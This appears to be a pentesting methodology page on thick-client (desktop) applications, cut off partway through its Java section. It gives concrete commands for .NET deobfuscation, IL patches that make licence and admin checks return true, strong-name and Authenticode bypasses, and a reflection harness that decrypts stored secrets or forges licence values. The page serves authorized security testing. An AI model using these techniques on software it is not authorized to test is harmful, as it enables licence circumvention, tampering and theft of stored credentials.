> For the complete documentation index, see [llms.txt](https://sallam.gitbook.io/sec-88/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sallam.gitbook.io/sec-88/desktop-appsec/thick-client-pentesting-methodology.md). Agents can also search and read this documentation through its [MCP server](https://sallam.gitbook.io/sec-88/~gitbook/mcp).

# Thick Client PenTesting Methodology

{% hint style="info" %}
A thick client does its storage, validation and business logic **on the user's machine**. Every security decision the app makes is a decision made on attacker-controlled hardware — you can read its files, edit its memory, change its registry keys, patch its code and lie to it about who you are. The methodology below is ordered the way an engagement actually runs: fingerprint → reverse → storage → traffic → client-side → server-side.
{% endhint %}

<details>

<summary>Pentesting Tools</summary>

**Recon / fingerprinting**

[Sysinternals Suite](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) · [CFF Explorer](https://ntcore.com/explorer-suite/) · [Detect It Easy (DIE)](https://github.com/horsicq/Detect-It-Easy) · [PE-bear](https://github.com/hasherezade/pe-bear) · [winchecksec](https://github.com/trailofbits/winchecksec) · [PESecurity](https://github.com/NetSPI/PESecurity) - Peid - Strings

**Reversing / patching**

[dnSpyEx](https://github.com/dnSpyEx/dnSpy) (maintained fork; original dnSpy is archived) · [ILSpy](https://github.com/icsharpcode/ILSpy) · [de4dot-cex](https://github.com/ViRb3/de4dot-cex) · [Ghidra](https://github.com/NationalSecurityAgency/ghidra) · [x64dbg](https://github.com/x64dbg/x64dbg) · [Recaf](https://github.com/Col-E/Recaf) · [Bytecode Viewer](https://github.com/Konloch/bytecode-viewer) · [JADX](https://github.com/skylot/jadx) · IDA Pro · DotPeek - jd-GUI - Procyon -De4fot - NeonFuscatorDeobfuscator

**Network Sniffers**

* WireShark
* TCPView
* SmartSniff
* Tcpdump

**Proxy Tools**

* Echo mirage
* Burp Suite
* Fiddler
* Charles Web Proxy

**Runtime / instrumentation**

[Frida](https://frida.re/) · [Process Hacker](https://processhacker.sourceforge.io/) / [System Informer](https://github.com/winsiderss/systeminformer) · [API Monitor](http://www.rohitab.com/apimonitor) · [Cheat Engine](https://github.com/cheat-engine/cheat-engine) · [PE-sieve](https://github.com/hasherezade/pe-sieve)

**Traffic**

[Wireshark](https://www.wireshark.org/download.html) · [PETEP](https://github.com/Warxim/petep) · [mitm\_relay](https://github.com/jrmdev/mitm_relay) · [MITM\_Intercept](https://github.com/cyberark/MITM_Intercept) · [Proxifier](https://www.proxifier.com/) · Burp Suite (invisible proxy mode) · Echo Mirage (legacy, 32-bit only)

**Registry / filesystem / privesc**

[Regshot](https://sourceforge.net/projects/regshot/) · [AccessChk](https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk) · [PowerUp / PowerSploit](https://github.com/PowerShellMafia/PowerSploit) · [winPEAS](https://github.com/peass-ng/PEASS-ng) · [Seatbelt](https://github.com/GhostPack/Seatbelt) · [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI)

**GUI layer**

[Window Detective](https://windowdetective.sourceforge.io/) · WinSpy++ · Spy++ (ships with Visual Studio) · [Snoop WPF](https://github.com/snoopwpf/snoopwpf)

**Electron**

[Electronegativity](https://github.com/doyensec/electronegativity) · `npx @electron/asar`

**Test Weak GUI Control**

* WinSpy++
* WinManipulate
* Windows Enabler

**Memory Analysis & Fuzzing**

* Winhex
* Volatility
* Tsearch
* Userdummp
* Spike
* Sully
* AFL
* WinAFL

**Miscellaneous**

* Microsoft Attack Surface Analyzer (ASA)
* Stunnel
* mitm\_relay
* Robber
* Dllspy
* signheck
* Powerup/Shurpup
* HeidiSQL
* Metasploit
* Sqlmap
* Sysinteenal tools
* Cenape
* Static Source Code analysis tool
*

</details>

<details>

<summary>Lab Setup</summary>

**DVTA — Damn Vulnerable Thick Client Application** is the standard practice target (C#, .NET Framework, 2-tier against MSSQL).

[Vulnerable Application](https://drive.google.com/drive/folders/1kEtE1E8ByAW7B4Pz3W_EPL0mjQI-F9b9?usp=sharing)

[SQL Server 2008 Management Studio](https://download.cnet.com/microsoft-sql-server-2008-management-studio-express-64-bit/3001-2383_4-75451531.html)

[FileZilla Server](https://www.filehorse.com/download-filezilla-server/35354/download/#google_vignette)

[Microsoft SQL Server Express 2008 Advanced Edition](https://www.microsoft.com/en-in/download/details.aspx?id=30438\&msockid=243b1571bcd3666800d70082bdaf67b0)

[AllThings (Google Drive)](https://drive.google.com/drive/folders/1m61nt5YygOz0lIjWYRNpQxo9c9LXYDBq?usp=sharing)

Other targets worth running: **BadDVTA**, **DVJA** (Java), and any Electron app you already have installed — Electron targets need no lab at all.

Run the lab in a **snapshotted VM**. You will patch binaries, plant DLLs and corrupt registry state; you need a clean rollback between findings.

</details>

<details>

<summary>What is a Thick Client Application?</summary>

* It is a desktop-based app — most operations happen **locally**.
* Stores data locally: config files, DB files, memory, registry.
* Built using Java, C/C++, C#, Delphi, or the Electron framework.
* Works offline or semi-independently with a remote server.
* Follows 2-tier or 3-tier architecture.

**Thick vs thin:** in a web app the server validates, computes and stores — you do not own the server, so you cannot change its logic. In a thick client all of that runs on **your** machine. That single difference generates every bug class on this page. For the full comparison see [Thin Client vs. Thick Client](https://github.com/h0tak88r/Sec-88/tree/main/pages/EnfL8t0zMAlIPWau9Ze2/README.md).

**Electron is a special case:** it wraps HTML and JavaScript in a desktop binary, so web vulnerabilities (XSS, prototype pollution, CSP gaps) appear *inside a desktop app* — and the source is readable JavaScript.

</details>

<details>

<summary>Architecture and Communication Flow</summary>

**Two-Tier Architecture**

* The application communicates **directly** with a database server.
* All business logic and operations are handled on the client side.

**Three-Tier Architecture**

* The application communicates with a backend server, which then interacts with the database server.
* Most business logic and operations are handled on the server side.

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2Fyr2P6jvgJyojWmokqwn7%2Fimage.png?alt=media&amp;token=b4ae5c1e-0c66-4cb5-b4dc-ed7e437fe8a3" alt=""><figcaption></figcaption></figure>

|                             | 2-Tier                          | 3-Tier                           |
| --------------------------- | ------------------------------- | -------------------------------- |
| Path                        | App → Database                  | App → App server → Database      |
| DB credentials              | **Must ship with the app**      | Never leave the server           |
| Validation / business logic | On the client                   | On the server                    |
| Can run offline             | Yes, fully                      | No                               |
| Attacker's leverage         | Total — every check is local    | Limited to what the client sends |
| Protocol seen in traffic    | Database protocol (TDS, MySQL…) | Usually HTTP(S)                  |

{% hint style="success" %}
**Use the protocol as your test.** The traffic tells you the architecture: a **database protocol** on the wire → the app talks to the DB directly → 2-tier. **HTTP only** → there is a server in between → 3-tier. Verify the client's claim from the wire instead of taking the developer's word for it.
{% endhint %}

{% hint style="warning" %}
**2-tier is rare in modern production.** Labs like DVTA are deliberately easier than real work. Against a 3-tier target the client-side findings (registry, memory, `.config`, DLL hijacking, patching) still apply in full; the direct-database findings do not — your server-side testing becomes ordinary API testing.
{% endhint %}

</details>

<details>

<summary>Where a thick client stores data — your four hunting grounds</summary>

<table><thead><tr><th width="158.16269507911056">Location</th><th>What to look for</th></tr></thead><tbody><tr><td>Configuration file</td><td>DB host/name/user/password, <strong>encryption key</strong>, <strong>IV</strong>, API keys, FTP creds</td></tr><tr><td>Registry</td><td>Username, password, email, session/"is logged in" flags, licence state</td></tr><tr><td>Memory</td><td>Connection strings, decrypted secrets, the whole config file, tokens, PII</td></tr><tr><td>Local DB / cache</td><td>SQLite/SQL CE/Realm/LevelDB caches, offline data, cached tokens</td></tr></tbody></table>

Plus the two that are not "storage" but behave like it: **logs** (stdout, log files, Event Log) and **the binary itself** (hardcoded strings).

</details>

## Mind Map

<details>

<summary>1 · Information Gathering</summary>

* Application architecture (2-tier vs 3-tier) and the language/framework used
* Binary protections (ASLR, DEP, CFG, SafeSEH, Authenticode)
* Network communication between the client and the server
* Files, registry keys and DLLs touched at runtime
* Entry points, user roles, and the authentication/authorization mechanism

</details>

<details>

<summary>2 · Reversing &#x26; Patching</summary>

* Decompilation (.NET / Java / native / Electron)
* Deobfuscation and anti-debug bypass
* Hardcoded credentials, keys and endpoints
* Binary patching → authentication bypass and privilege escalation
* Integrity / signature check bypass

</details>

<details>

<summary>3 · Insecure Data Storage</summary>

* Config files, registry, memory, local databases
* DPAPI blobs, Credential Manager, Windows Vault
* Side-channel data exposure (logs, stdout, crash dumps)
* Improper cryptography (key + IV shipped beside the ciphertext)

</details>

<details>

<summary>4 · Network &#x26; Traffic</summary>

* Cleartext transport, weak/absent TLS, certificate validation gaps
* Intercepting non-HTTP protocols (raw TCP, TDS, RMI, gRPC)
* Traffic manipulation → BOLA/IDOR, privilege escalation, price tampering

</details>

<details>

<summary>5 · Client-Side Attacks</summary>

* DLL hijacking and proxying → code execution, often as SYSTEM
* Local privilege escalation from the installed app (services, ACLs, updaters)
* IPC abuse: named pipes, COM/DCOM, window messages, localhost listeners
* GUI control bypass (hidden fields, disabled buttons, masked passwords)
* Deep link / custom URI scheme abuse

</details>

<details>

<summary>6 · Server-Side Attacks</summary>

* SQL injection (direct in 2-tier, via the API in 3-tier)
* Broken access control: BOLA/IDOR, BFLA, mass assignment of hidden fields
* Insecure deserialization (BinaryFormatter, Java serialization)
* Post-exploitation of the database itself

</details>

## Methodology

## Phase 0 · Scope & Pre-Engagement

{% hint style="info" %}
**Scope the target before you touch it.** Decide what is testable — the client only, or also the backend APIs, database, and update server — because one out-of-scope request can close the whole report.
{% endhint %}

<details>

<summary>Scope &#x26; Pre-Engagement</summary>

* Confirm **in-scope vs out-of-scope**: client binary, backend APIs, DB, update mechanism, license server, third-party integrations.
* Get the install package (`.exe` / `.msi` / `.jar` / `.dmg`) and test credentials for **every role** (admin, user, guest).
* Confirm the build is production vs dev, and whether it auto-updates or ships debug features.
* Install in a **snapshotted VM** (VMware / VirtualBox / Hyper-V) — you will patch binaries, plant DLLs and corrupt the registry, so you need a clean rollback.

{% hint style="success" %}
**Analyze the installer itself.** `setup.exe` / the MSI often reveals more than the running app — bundled dependencies, licensing tools, drivers, and exactly what gets dropped to which folders, registry keys and services. Watch the install with Procmon.
{% endhint %}

### Threat modeling

Before testing, map how the components interact — GUI ↔ Local Storage ↔ Network — and mark the **trust boundaries** (client vs server, authenticated vs unauthenticated, which components are locally modifiable). Apply **STRIDE** per component, or **DREAD** to score risk. Tools: [draw.io](https://app.diagrams.net/), [OWASP Threat Dragon](https://owasp.org/www-project-threat-dragon/), the Microsoft Threat Modeling Tool.

</details>

## Phase 1 · Information Gathering

{% hint style="info" %}
**Establish the architecture before you write anything.** Reporting a "server-side" issue on an app with no server side destroys your credibility with the developer. Four things must be nailed down first: **architecture**, **language/framework**, **protocol**, and **what the app touches at runtime**.
{% endhint %}

<details>

<summary>1.1 Fingerprint the binary</summary>

| Question                   | Tool                                                        | What you are reading                                               |
| -------------------------- | ----------------------------------------------------------- | ------------------------------------------------------------------ |
| Managed or native?         | CFF Explorer, DIE                                           | A `.NET` directory in the PE optional header → managed (C#/VB.NET) |
| Which language/packer?     | [Detect It Easy](https://github.com/horsicq/Detect-It-Easy) | Compiler, linker, packer, obfuscator signatures                    |
| 32- or 64-bit?             | CFF Explorer, `dumpbin /headers`                            | Decides your debugger and your shellcode                           |
| Signed, and by whom?       | `sigcheck.exe -a -h file.exe`                               | Publisher, hashes, timestamp                                       |
| Which DLLs does it import? | CFF Explorer → Import Directory, `dumpbin /imports`         | Crypto (`CryptDecrypt`), network (`ws2_32`), SQL (`sqloledb`)      |

```powershell
# language, packer and entropy in one shot
die.exe -j target.exe

# publisher, hashes, and whether the signature actually validates
sigcheck.exe -a -h -i target.exe

# imports / exports without a GUI
dumpbin /imports target.exe
dumpbin /exports target.dll
```

**Shortcut for telling the stack apart:**

* **`.NET`** — DIE says ".NET", strings contain `mscorlib`, there is a `*.exe.config` next to it.
* **Java** — a `.jar`, a bundled `jre/` folder, or a launcher calling `javaw.exe`.
* **Electron** — `resources/app.asar`, `*.pak` files, `ffmpeg.dll`, `libEGL.dll` in the app folder.
* **Native C/C++** — none of the above; imports `kernel32`/`msvcr*`.
* **Delphi/Qt** — DIE identifies these reliably; both appear in older enterprise clients.

</details>

<details>

<summary>1.2 Assess binary protections (Assembly Testing)</summary>

Missing exploit mitigations are a real finding on native clients, and a report filler on managed ones — know the difference before you write it up.

```powershell
# Trail of Bits, actively maintained — ASLR, DEP, CFG, SafeSEH, GS, Authenticode
winchecksec.exe -j "C:\Program Files\Target\target.exe"

# NetSPI PowerShell equivalent, scans a whole directory
Import-Module .\Get-PESecurity.psm1
Get-PESecurity -Directory "C:\Program Files\Target\" -Recursive | Format-Table
```

| Flag                      | Meaning when missing                        | Report weight                                    |
| ------------------------- | ------------------------------------------- | ------------------------------------------------ |
| **ASLR** (`/DYNAMICBASE`) | Image loads at a predictable address        | Native: real. Managed: low on its own            |
| **DEP/NX** (`/NXCOMPAT`)  | Data pages are executable                   | Native: real                                     |
| **CFG** (`/guard:cf`)     | No indirect-call target validation          | Native: medium                                   |
| **SafeSEH**               | x86 exception-handler overwrite is viable   | x86 native only                                  |
| **High Entropy VA**       | 64-bit ASLR entropy reduced                 | Low                                              |
| **Authenticode**          | Binary can be swapped or patched undetected | **High — pairs with DLL hijacking and patching** |

{% hint style="warning" %}
Do not submit "ASLR disabled" as a standalone finding on a C# app and call it High. On managed code the JIT and the CLR change the picture, and a triager knows it. The mitigation flags matter most as **supporting evidence** for an exploit you actually demonstrated.
{% endhint %}

</details>

<details>

<summary>1.3 Map runtime behaviour — Process Monitor</summary>

Procmon is the single highest-yield recon tool on the engagement. It is a lens; **the filter is the question you are asking.**

```
# Filter set 1 — find DLL hijacking candidates
Process Name  is          target.exe        Include
Path          ends with   .dll              Include
Path          contains    Windows           Exclude     # low-priv user has no write access there
Result        is          NAME NOT FOUND    Include     # <- the key filter

# Filter set 2 — find the config and data files
Process Name  is          target.exe        Include
Path          ends with   .config           Include
Operation     is          CreateFile        Include

# Filter set 3 — find registry usage
Process Name  is          target.exe        Include
Operation     is          RegSetValue       Include
```

**`NAME NOT FOUND` is the gold filter.** It lists the files the app *looked for and did not find* — the ones you can add without breaking anything. Replacing a DLL that already exists frequently stops the app booting; planting a missing one keeps the target alive. Prefer a missing file over an existing one.

Also worth capturing: `ProcessCreate` events (does it spawn `cmd.exe`, an updater, a helper service?) and any write into a world-writable path.

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FGdoM7QRcVO394m7vA6Rp%2Fimage.png?alt=media&amp;token=4a04a399-1f42-4057-97c1-a8018f422fd0" alt=""><figcaption></figcaption></figure>

</details>

<details>

<summary>1.4 Map the network</summary>

**Open TCPView before Wireshark.** TCPView answers *which process, which port, talking to whom* instantly; Wireshark opened cold on a busy host is unfilterable noise. Narrow tool first, wide tool second — then your capture has a filter.

```powershell
tcpview.exe                      # Sysinternals, live per-process TCP/UDP
netstat -anob | findstr target   # same data, no GUI, needs admin for -b
Get-NetTCPConnection -State Listen | Where-Object OwningProcess -eq (Get-Process target).Id
```

Record for each connection: **local port, remote IP, remote port, protocol**. A remote port of `1433` (MSSQL), `1521` (Oracle), `3306` (MySQL) or `5432` (Postgres) is an immediate 2-tier confirmation and tells you the DB engine before you read a single packet.

{% hint style="info" %}
Many thick clients open a **new source port per connection**. If you are writing interception rules per-port, expect to re-check TCPView and re-add rules several times during the session — this is normal, not a mistake on your part.
{% endhint %}

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FDJiAkBlem0mbJO4TgTto%2Fimage.png?alt=media&amp;token=3ec769d6-b407-41c0-95c5-81a3e078ba02" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FYWcBBOP2UHu1IqxH1pEK%2Fimage.png?alt=media&amp;token=3c74e866-2f93-4fed-9239-49299a21941c" alt=""><figcaption></figcaption></figure>

</details>

<details>

<summary>1.5 Map the process</summary>

[System Informer](https://github.com/winsiderss/systeminformer) (the maintained successor to Process Hacker) gives you, for the running target:

* **Token** → is it running as the user, as an admin, or as `NT AUTHORITY\SYSTEM`? This decides the payoff of every code-execution finding.
* **Modules** → every loaded DLL and its path; spot the ones loaded from the app directory.
* **Handles** → open files, registry keys, named pipes, and mutexes.
* **Memory** → the string dump you will use in Phase 3.
* **Services** → does the install include a service, and under which account?

```powershell
# is there a service, and who does it run as?
sc.exe qc TargetService
Get-CimInstance Win32_Service -Filter "Name='TargetService'" | Select Name,StartName,PathName
```

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FPjxSxovXwPDGUqkSKf7N%2Fimage.png?alt=media&amp;token=eec664b3-27fa-45dc-81bc-3d27bd279db1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FM154tkTSe3EWEUqHzHWm%2Fimage.png?alt=media&amp;token=8cb9893d-e66d-452a-b6bc-6e27bb42ac8b" alt=""><figcaption></figcaption></figure>

</details>

<details>

<summary>1.6 Enumerate functionality and roles</summary>

Walk the entire application as **each role** and write the map down before you attack anything:

* Every screen, every button, every background action.
* Which functions are admin-only, and how the app decides that.
* What the **baseline** state is — how many admins exist, what each user can see.

{% hint style="success" %}
**Record the baseline first.** If you do not know that only one admin account existed before you started, creating an admin in Phase 6 looks like ordinary functionality instead of a privilege escalation. The baseline is what turns a behaviour into a finding.
{% endhint %}

</details>

<details>

<summary>1.7 Interesting files bundled with the application</summary>

Sometimes, searching for the application directories may also provide us valuable information such as **config files** to proceed further with the assessment.

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FURtrValhbILXFzwjjJS9%2Fimage.png?alt=media&amp;token=54ac1cef-5a4d-4d37-b50d-366a00f4ed02" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FxEZJsCbkYTcZENrwe6pQ%2Fimage.png?alt=media&amp;token=52acd212-1470-4385-8a09-c57cd5a230e1" alt=""><figcaption></figcaption></figure>

</details>

## Phase 2 · Reversing & Patching

{% hint style="success" %}
**Do this early, not last.** Reading decompiled source maps the entry points before you probe anything: you see immediately that a query is not parameterised, that an authorization check runs client-side, or that the app talks to hosts you did not know about. It only works cleanly if the binary is not heavily obfuscated — so step one is always "which protector is on this?"
{% endhint %}

<details>

<summary>2.1 .NET (C#, WPF/WinForms)</summary>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FZK9vtp5OCYQPV68xROfV%2Fimage.png?alt=media&amp;token=eccabf84-583a-40cf-bfe9-e6c9a0d4729f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FZd561NwRNsDMVmJp1uzp%2Fimage.png?alt=media&amp;token=af317cc3-a6e2-4acc-9d5d-8d6afbe5d6d0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FE5vDKfFz5YRRhl80IaAE%2Fimage.png?alt=media&amp;token=4e2d3e93-a77b-442b-b6c7-04b06acb660b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FrAvfDKzA3EXBTx1XxaLQ%2Fimage.png?alt=media&amp;token=5d1df56e-49bf-44f0-b613-faf64ddf0653" alt=""><figcaption></figcaption></figure>

#### Confirm it is .NET, and which flavour

```powershell
corflags.exe App.exe        # from a Developer Command Prompt
```

| Output                             | Meaning              |
| ---------------------------------- | -------------------- |
| `PE32` + `ILONLY=1` + `32BITREQ=0` | AnyCPU               |
| `PE32` + `32BITREQ=1`              | x86                  |
| `PE32+`                            | x64                  |
| Errors out                         | Not a managed binary |

{% hint style="info" %}
`PE32` + `32BITREQ=0` **alone** is not AnyCPU — mixed-mode managed C++ matches that too. Require `ILONLY=1` as well.
{% endhint %}

* `App.runtimeconfig.json`, `*.deps.json`, `hostfxr.dll`, `coreclr.dll` → **modern .NET (5+)**
* `mscoree.dll` import + `App.exe.config` → **.NET Framework**
* **Single-file .NET 6+ publish** → no IL in the EXE. Run the app once, then collect the extracted assemblies from `%TEMP%\.net\<AppName>\<hash>\` before decompiling.

#### Decompilers

| Tool                                            | Status                                                                            | Use it for                                                                                         |
| ----------------------------------------------- | --------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------- |
| [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy) | **Active** — the maintained continuation; uses the ILSpy engine, Roslyn and dnlib | Surgical work: debugger + IL editor in one                                                         |
| [ILSpy](https://github.com/icsharpcode/ILSpy)   | Active                                                                            | Best raw decompilation quality; `ilspycmd` to bulk-dump a whole install tree to `.cs` for grepping |
| dotPeek                                         | Free, Windows                                                                     | Its **Process Explorer** attaches to a live process and dumps loaded assemblies                    |
| dnSpy (original)                                | **Archived Dec 2020**                                                             | Don't — use dnSpyEx                                                                                |
| JustDecompile                                   | **Retired April 2024**                                                            | Don't                                                                                              |

Practical order: `ilspycmd` for bulk dumping and grepping, `dnSpyEx` for the targeted work.

#### Identify the protector *before* running de4dot

```bash
de4dot -d -r "C:\Program Files\Target"      # detect only
de4dot -d -r "C:\Program Files\Target" -ru  # only files with a SUPPORTED obfuscator
```

Also run [Detect It Easy](https://github.com/horsicq/Detect-It-Easy), which has a dedicated `DOTNET` script class. **A DIE miss is not evidence of "no obfuscation"** — some protectors deliberately mangle PE/metadata so detection fails.

#### Deobfuscation with [de4dot](https://github.com/de4dot/de4dot) (archived 2020, still the workhorse)

```bash
# bulk: deobfuscate everything supported into an output tree
de4dot -r C:\input -ru -ro C:\output

# force a protector when detection fails
de4dot file1.dll -p sa            # SmartAssembly

# treat as unsupported: preserves ALL tokens and obfuscator-added types —
# safest when you only need readable IL
de4dot file1.dll -p un

# keep metadata tokens stable so dnSpyEx addresses still line up
de4dot --keep-types --preserve-tokens file1.dll

# Confuser appends decryption keys after signatures — you MUST preserve them
de4dot --preserve-sig-data file1.dll

# unsupported string encryption: find the decrypt method token in ILDASM
# ("show metadata tokens"); method tokens start with 06
de4dot file1.dll --strtyp delegate --strtok 06012345
```

Short codes for `-p`: `an` Agile.NET · `bl` Babel.NET · `cf` CodeFort · `cv` CodeVeil · `cw` CodeWall · `cr` Confuser *(old Confuser, **not** ConfuserEx)* · `co` CryptoObfuscator · `ds` DeepSea · `df` Dotfuscator · `ef` Eazfuscator · `go` Goliath.NET · `il` ILProtector · `mp` MPRESS · `mc` MaxtoCode · `dr3`/`dr4` .NET Reactor v3/v4 · `rm` Rummage · `sk` Skater.NET · `sa` SmartAssembly · `sn` Spices.Net · `xc` Xenocode · `un` unsupported.

{% hint style="danger" %}
**Two operational rules from de4dot's own README.** Deobfuscate **all related assemblies in one invocation** — renaming one breaks references from the others. And **run de4dot in a sandbox**: it loads the target assembly and its dependencies into memory to execute decryption routines, so a booby-trapped assembly executes on your box.
{% endhint %}

* **ConfuserEx** — upstream de4dot's `cr` is for the *old* Confuser. Use [de4dot-cex](https://github.com/ViRb3/de4dot-cex) (archived 2022, last release v4.0.0) which handles vanilla ConfuserEx including x86 mode, constant decryption, resource decryption and control-flow fixes.
* **ConfuserEx2** — de4dot-cex often fails. The reliable fallback is manual: dnSpyEx debugger, breakpoint the constant-decryption delegate, dump decrypted values at runtime (§2.1 below).
* **.NET Reactor 6.x+** — native stubs and control-flow obfuscation are not handled. Go runtime.
* **Dotfuscator / SmartAssembly** — symbol renaming is **irreversible by design**; the original names are not in the file. Orient by string literals, P/Invoke signatures and resource names instead.

#### Patching IL in dnSpyEx

1. Navigate to the method → right-click → **Edit IL Instructions…**
2. Change as few instructions as possible. Prefer the IL editor over **Edit Method (C#)…** — the C# path re-emits the whole method body and is more likely to produce an unstable binary.
3. **File → Save Module…** (use the menu; the keyboard shortcuts are reported inconsistently).

```
# 1. Invert the branch — the check still runs, you take the other arm
brtrue   <-> brfalse          brtrue.s <-> brfalse.s
beq      <-> bne.un           (and the ble/bgt, blt/bge families)

# 2. Force the check's return value
ldc.i4.0  ->  ldc.i4.1        # IsAdmin() / IsLicensed() now returns true

# 3. Neuter the method entirely, without touching any caller —
#    replace the whole body with:
ldc.i4.1
ret

# 4. Delete a call and its branch: overwrite with `nop` so offsets stay stable
```

Grep the decompiled tree for: `IsAdmin`, `IsLicensed`, `HasPermission`, `CheckRole`, `IsTrialExpired`, `ValidateSignature`, `VerifyCertificate`, `ServerCertificateValidationCallback`, `Debugger.IsAttached`.

#### Strong names do not stop patching

Microsoft's own documentation says **not to rely on strong names for security** — they provide a unique identity, not integrity. Three ways past:

```batch
:: (a) registry skip-verification list (a documented development feature)
sn.exe -Vr Target.dll
sn.exe -Vr *,abc1234567890def     :: skip for ALL assemblies with that public key token
sn.exe -Vl                        :: list current entries
sn.exe -Vu Target.dll             :: undo
```

Two pitfalls: 32-bit and 64-bit `sn.exe` write to **different registry views**, so run both; and some hosts verify anyway and override the setting.

```batch
:: (b) strip the strong name — NirSoft SNRemove
SNRemove.exe -r Target.dll
:: programmatically with dnlib/Cecil: clear PublicKey + PublicKeyToken, set
:: HasPublicKey=false, AND rewrite the AssemblyNameReference in EVERY referencing assembly

:: (c) re-sign with your own key (cleanest)
sn.exe -k mykey.snk
```

**Authenticode** is separate — it is the Windows publisher signature, and it is what drives "tampered binary" warnings. Any byte change invalidates the hash, so re-sign *after* patching:

```powershell
New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=TestSigner" -CertStoreLocation Cert:\CurrentUser\My
signtool.exe sign /fd SHA256 /f MyPFX.pfx /p <password> /v /t <timestamp-url> Patched.exe
signtool.exe verify /v /pa Patched.exe
```

{% hint style="danger" %}
**A screenshot of your patched client showing an admin menu is not a vulnerability.** It is the expected consequence of modifying code on a machine you own. The finding exists only if the patched client gets something **from the server** it should not: an admin-only API response, another tenant's data, a licensed feature whose entitlement the server never re-checks. **Capture the server request/response pair, not the UI.**
{% endhint %}

#### Runtime: use the app's own crypto against it

Attaching the **dnSpyEx debugger** to a live process beats static deobfuscation for every string-encryption scheme:

1. `Debug → Attach to Process…` (pick the right runtime — Framework vs Core/5+).
2. Find the decrypt routine. Under ConfuserEx/Eazfuscator it is a static method taking an int token; under SmartAssembly, typically `string Get(int)`.
3. Breakpoint its `ret`. Run. Read the return value in **Locals**.

The same trick disables pinning (`ServerCertificateValidationCallback` → set the return to `true` in Locals) and anti-debug checks (`Debugger.IsAttached` → flip the local).

**Reflection harness** — the technique that makes "the config file is encrypted" a non-obstacle. Instead of reversing the algorithm, load the app's own assembly and call its decrypt method:

```powershell
$asm = [Reflection.Assembly]::LoadFile("C:\Program Files\Target\Target.Core.dll")
$t   = $asm.GetType("Target.Core.Security.CryptoHelper")
$m   = $t.GetMethod("Decrypt", [Reflection.BindingFlags]"NonPublic,Static")
$m.Invoke($null, @("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA..."))

# hardcoded keys and IVs held in private static fields:
$t.GetField("_key", [Reflection.BindingFlags]"NonPublic,Static").GetValue($null)
```

Instance methods use `"NonPublic,Instance"` with `[Activator]::CreateInstance($t)`. If the assembly is strong-named and your process refuses to load it, apply `sn -Vr` first. **This also inverts** — call `Encrypt` to forge a value the app will accept (a licence blob, an activation token, a tamper-protected settings entry).

{% hint style="warning" %}
**Frida has no .NET bridge.** Frida documents exactly three runtime bridges: ObjC, Swift and Java. `frida-clr` / `frida-net` is a set of **C# bindings for driving Frida**, not an in-process CLR instrumentation bridge. For managed .NET desktop apps the instrumentation path is **dnSpyEx debugger + a reflection harness**; use Frida for the *native* layer (P/Invoke targets, the loader, TLS) via `Interceptor.attach` on exported native functions. For managed hooking, Harmony or the CLR Profiling API are the real options.
{% endhint %}

</details>

<details>

<summary>2.2 Java</summary>

#### Getting the code

| Tool                                                          | Status | Notes                                                                                                                       |
| ------------------------------------------------------------- | ------ | --------------------------------------------------------------------------------------------------------------------------- |
| [CFR](https://github.com/leibnitz27/cfr)                      | Active | Strong on modern Java (lambdas, switch expressions, records). CLI-first                                                     |
| [Procyon](https://github.com/mstrobel/procyon)                | Active | Handles Java 5+ language enhancements other decompilers miss                                                                |
| [Vineflower](https://github.com/Vineflower/vineflower)        | Active | Best Fernflower-family output (Fernflower → ForgeFlower → Quiltflower → Vineflower)                                         |
| [JD-GUI](https://github.com/java-decompiler/jd-gui)           | 2024   | Fast GUI triage; weakest on modern language features                                                                        |
| [Recaf](https://github.com/Col-E/Recaf)                       | Active | Decompile **and edit** — manages the constant pool and stack frames for you. 4.x is alpha and needs Java 22+; 3.x is stable |
| [Bytecode Viewer](https://github.com/Konloch/bytecode-viewer) | Active | Bundles CFR, Procyon, Fernflower, Krakatau and JD side-by-side                                                              |

{% hint style="info" %}
